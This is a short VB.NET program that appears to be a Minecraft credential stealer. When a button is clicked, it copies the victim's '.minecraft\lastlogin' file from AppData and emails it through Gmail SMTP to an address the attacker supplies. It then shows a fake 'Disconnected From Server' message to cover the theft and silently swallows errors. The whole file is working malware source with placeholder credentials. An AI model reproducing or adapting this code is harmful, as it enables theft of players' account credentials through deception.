



Imports System.Net.Mail
Public Class a
Dim smtp As New SmtpClient
Dim mail As New MailMessage
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
Try
Dim Attch As Net.Mail.Attachment = New Net.Mail.Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\.minecraft\lastlogin")
MyMailMessage.Attachments.Add(Attch)
MyMailMessage.From = New MailAddress("person u send too gmail")
MyMailMessage.To.Add("person u send too gmail")
MyMailMessage.Subject = TextBox1.Text & "-Lastlogin" & " IP of server:" & TextBox2.Text
MyMailMessage.Body = (" ")
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("gmail@gmail.com", "password")
SMTP.Send(MyMailMessage)
MsgBox("Disconnected From Server, Please try again later!")
Catch ex As Exception
End Try
End Sub
End Class


